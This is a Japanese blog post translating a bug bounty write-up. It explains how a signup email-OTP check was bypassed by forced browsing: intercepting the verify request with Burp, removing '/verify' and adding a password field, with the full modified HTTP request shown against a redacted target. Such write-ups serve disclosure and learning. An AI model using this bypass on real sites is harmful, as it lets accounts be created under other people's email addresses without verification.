Shikata Ga Nai

Private? There is no such things.

2FA Bypass via Forced Browsingを訳してみた

Hello there, ('ω')ノ

 

強制ブラウジングによる2FAバイパスを。

 

脆弱性:

 2FAバイパス

 

記事:

 https://infosecwriteups.com/2fa-bypass-via-forced-browsing-9e511dfdb8df

 

下記は、強制ブラウジングのイメージで。

 

f:id:ThisIsOne:20210808173328p:plain

 

アプリケーションによって実装された電子メール検証フェーズを。

バイパスすることができたプライベートプログラムでの発見を共有することに。


強制ブラウジング:

 強制ブラウジングは、保護が不十分なWebサイトや。

 Webアプリケーションに対する攻撃手法で。

 攻撃者はアクセスできないはずのリソースにアクセスできて。

 

 

今回は、ターゲットをredacted.comと仮定して。


通常のSIGNUPフロー:

 新しいアカウントを作成する際には。

 ユーザはメールアドレスに送信された6桁のOTPを入力する必要があって。

 ユーザが有効なOTPを入力した場合にのみ。

 そのメールアドレスに対して有効なアカウントが作成されて。

 

しかし、強制ブラウジングを介して、OTPを入力せずに。

任意の電子メールアドレスを使用して有効なアカウントの作成を確認できて。


搾取:

 1)サインアップページに移動して。

 2)メールでサインアップをクリックして。

 3)ユーザ名、メールアドレス、パスワードなどの詳細をすべて入力して。

 4)Burpのインターセプトをオンにしておいて。

 5)[アカウントの作成]をクリックして。

 6)下記のエンドポイントに対して行われたPOSTリクエストをキャプチャして。

   POST /_api/signup/verify

 

次に、POSTリクエストから/verifyを削除して。

そのポストリクエストの本文に、構文の間違いなしに下記を追加して。

 「password」:「anypassword

 

以下が、最終的なリクエストで。

POST /_ajax/signup HTTP/1.1
Host: www.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.redacted.com/en_in/
Content-Type: application/json;charset=UTF-8
Content-Length: 94
Origin: https://www.redacted.com
DNT: 1
Connection: close

{“xxxx”:”xxxxx”,”sxxxxe”:”xx-xx-xx”,”email”:”asalsflab@gmails.com”,”password”:”Password@123"}

 

上記の変更されたリクエストをサーバに渡して。

次に、ログインページに移動して。

電子メールアドレスパスワードを使用することでログインできて。

 

Best regards, (^^ゞ